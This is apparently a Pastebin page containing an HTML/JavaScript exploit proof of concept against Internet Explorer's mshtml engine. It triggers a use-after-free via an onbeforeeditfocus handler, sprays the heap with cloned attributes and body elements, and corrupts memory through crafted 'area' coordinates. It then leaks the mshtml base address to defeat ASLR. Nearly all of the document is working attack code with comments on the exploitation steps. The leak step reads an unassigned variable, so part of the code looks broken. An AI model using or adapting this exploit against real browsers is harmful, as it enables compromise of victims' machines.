SHARE
TWEET

Untitled

a guest Dec 25th, 2013 143 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <!doctype html>
  2. <HTML>
  3.   <head>
  4.     <script>
  5.  
  6.       lfh = new Array(20);
  7.       for(i = 0; i < lfh.length; i++) {
  8.         lfh[i] = document.createElement('div');
  9.         lfh[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
  10.       }
  11.  
  12.       function setinput() {
  13.         try { document.write('Timber'); } catch(e) {}
  14.  
  15.         // I used 2 area element to make sure we reoccupy freed memory (there is a reason behind this that doesnt fit on this page)
  16.         d = document.createElement('area');
  17.         d.shape = "poly"
  18.         // Our BString pointer is located at: 0x12010020 + 0x8
  19.         // We want to INCrement 0x12010020 + 0x8 + 1  to add 0x100 and not 0x1
  20.         // The code does: inc     dword ptr [esi+0A0h]   so we need to substract 0xAO from the values leaving 0x1200FF89 which is 302055305 decimal
  21.         d.coords = "1,2,289603465,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48";
  22.         d2 = document.createElement('area');
  23.         d2.shape = "poly"
  24.         d2.coords = "1,2,289603465,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48";
  25.  
  26.         a = document.createElement("div");
  27.         a.clearAttributes()
  28.  
  29.         //Step 1
  30.         for(i = 0; i < 0x7ffe; i++) {
  31.             a.setAttribute("attr" + i, null);
  32.         }
  33.         mem = new Array(400);
  34.         // Step 2
  35.         for(i = 0; i < mem.length; i++) {
  36.           mem[i] = a.cloneNode(1);        
  37.         }
  38.  
  39.         bodies = new Array()
  40.         // Step 3        
  41.         for(j = 0; j < mem.length; j++) {
  42.           for(i = 0; i < 0x7ffe; i += 0x1000) {
  43.             // Step 3.1
  44.             mem[j].setAttribute("attr" + i, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
  45.             // Step 3.2
  46.             b = document.createElement('body');
  47.             b.title = 'a';
  48.             b.id = 'a';
  49.             b.text = 'a'
  50.             b.bgColor = 1
  51.             b.topMargin = 1
  52.             b.bottomMargin = 1
  53.             b.leftMargin = 1
  54.             b.rightMargin = 4
  55.             b.setAttribute('ropchain', bodies.length)  // This will actualy give us the index of the body element we are leaking.
  56.             bodies.push(b);
  57.           }
  58.         }
  59.         // Saving the attributes so Garbage Collection wont kill them accidentally
  60.         document.body.setAttribute('mem', mem)
  61.         document.body.setAttribute('bodies', bodies)
  62.         return true
  63.       }
  64.  
  65.       function loaded() {
  66.         document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput)
  67.         // Step 4
  68.         document.getElementsByTagName('input')[0].focus();
  69.  
  70.         // Step 6
  71.         for(j = 0; j < mem.length; j++) {
  72.           for(i = 0; i < 0x7ffe ; i += 0x1000) {
  73.             //Step 7
  74.             if(mem[j].getAttribute("attr" + i).length != 0x45) {
  75.               //Step 9
  76.               LeakInfo = "Size of the attribute is = " + data.length + "\n";
  77.               LeakInfo += "Raw data: \n"
  78.               LeakInfo += escape(data) + "\n\n";
  79.               mshtmlAddress = data.charCodeAt(4) + data.charCodeAt(5) * 0x10000
  80.               LeakInfo += "Address of mshtml code is 0x" + mshtmlAddress.toString(16) + "\n";
  81.               bodyindex = data.charCodeAt(14) + data.charCodeAt(15) * 0x10000
  82.               LeakInfo += "Index of the leaked body = 0x" + bodyindex.toString(16);
  83.               alert(LeakInfo);
  84.             }
  85.           }
  86.         }
  87.       }
  88.     </script>
  89.   </head>
  90.   <body onload="loaded();">
  91.     <input value="mydata" type="text"></input>
  92.   </body>
  93. </html>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top